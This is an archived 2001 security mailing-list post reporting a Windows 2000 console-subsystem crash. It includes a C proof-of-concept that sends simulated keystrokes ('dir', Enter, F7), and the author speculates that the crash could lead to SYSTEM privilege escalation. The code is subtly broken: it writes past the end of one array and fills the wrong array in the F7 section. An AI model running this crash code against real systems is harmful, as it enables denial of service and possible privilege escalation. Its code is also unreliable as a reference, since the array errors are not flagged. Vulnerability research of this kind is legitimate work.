RE: bug w2k
From: Vladimir Kraljevic (vladimir_kraljevic@llbudapest.hu)Date: 08/01/01
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From: "Vladimir Kraljevic" <vladimir_kraljevic@llbudapest.hu> To: <vuln-dev@securityfocus.com> Subject: RE: bug w2k Date: Wed, 1 Aug 2001 10:11:52 +0200 Message-ID: <000d01c11a61$a0401a30$6801a8c0@intranet.hu>
It works with the simulated keystrokes as well... I was able to track it
down up to the point where subsystem crashes, but I have no more time to
spend on it.
I was able to get access violation system box and delay the restart;
everyone with decent kernel debugger (SoftICE and kinds) can trace the exact
point of the crash. I'm pretty sure that you are getting system account. If
I'm right, we'll soon have nice exploit, usefull to anyone that has access
to the CLI.
Enough for now, some work will follow, have some ideas
Vladimir
P.S. You can repeat last two lines (SendInput(...))
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#define _WIN32_WINNT 0x0401
#include <windows.h>
#include <winuser.h>
#include <winnt.h>
void main(int argc, char *argv[])
{
//Simulate "dir\n"
INPUT inDirStrokes[7];
memset(inDirStrokes, 0, sizeof(inDirStrokes));
inDirStrokes[0].type=INPUT_KEYBOARD;
inDirStrokes[0].ki.dwFlags=0;
inDirStrokes[0].ki.wVk=VkKeyScan('d');
inDirStrokes[1].type=INPUT_KEYBOARD;
inDirStrokes[1].ki.dwFlags=KEYEVENTF_KEYUP;
inDirStrokes[1].ki.wVk=VkKeyScan('d');
inDirStrokes[2].type=INPUT_KEYBOARD;
inDirStrokes[2].ki.dwFlags=0;
inDirStrokes[2].ki.wVk=VkKeyScan('i');
inDirStrokes[3].type=INPUT_KEYBOARD;
inDirStrokes[3].ki.dwFlags=KEYEVENTF_KEYUP;
inDirStrokes[3].ki.wVk=VkKeyScan('i');
inDirStrokes[4].type=INPUT_KEYBOARD;
inDirStrokes[4].ki.dwFlags=0;
inDirStrokes[4].ki.wVk=VkKeyScan('r');
inDirStrokes[5].type=INPUT_KEYBOARD;
inDirStrokes[5].ki.dwFlags=KEYEVENTF_KEYUP;
inDirStrokes[5].ki.wVk=VkKeyScan('r');
inDirStrokes[6].type=INPUT_KEYBOARD;
inDirStrokes[6].ki.dwFlags=0;
inDirStrokes[6].ki.wVk=VK_RETURN;
inDirStrokes[7].type=INPUT_KEYBOARD;
inDirStrokes[7].ki.dwFlags=KEYEVENTF_KEYUP;
inDirStrokes[7].ki.wVk=VK_RETURN;
//Simulate "<F7>\n"
INPUT inF7Strokes[4];
memset(inF7Strokes, 0, sizeof(inF7Strokes));
inF7Strokes[0].type=INPUT_KEYBOARD;
inF7Strokes[0].ki.dwFlags=0;
inF7Strokes[0].ki.wVk=VK_F7;
inF7Strokes[1].type=INPUT_KEYBOARD;
inF7Strokes[1].ki.dwFlags=KEYEVENTF_KEYUP;
inF7Strokes[1].ki.wVk=VK_F7;
inDirStrokes[2].type=INPUT_KEYBOARD;
inDirStrokes[2].ki.dwFlags=0;
inDirStrokes[2].ki.wVk=VK_RETURN;
inDirStrokes[3].type=INPUT_KEYBOARD;
inDirStrokes[3].ki.dwFlags=KEYEVENTF_KEYUP;
inDirStrokes[3].ki.wVk=VK_RETURN;
SendInput(sizeof(inDirStrokes)/sizeof(inDirStrokes[0]), inDirStrokes,
sizeof(INPUT));
SendInput(sizeof(inF7Strokes)/sizeof(inF7Strokes[0]), inF7Strokes,
sizeof(INPUT));
}
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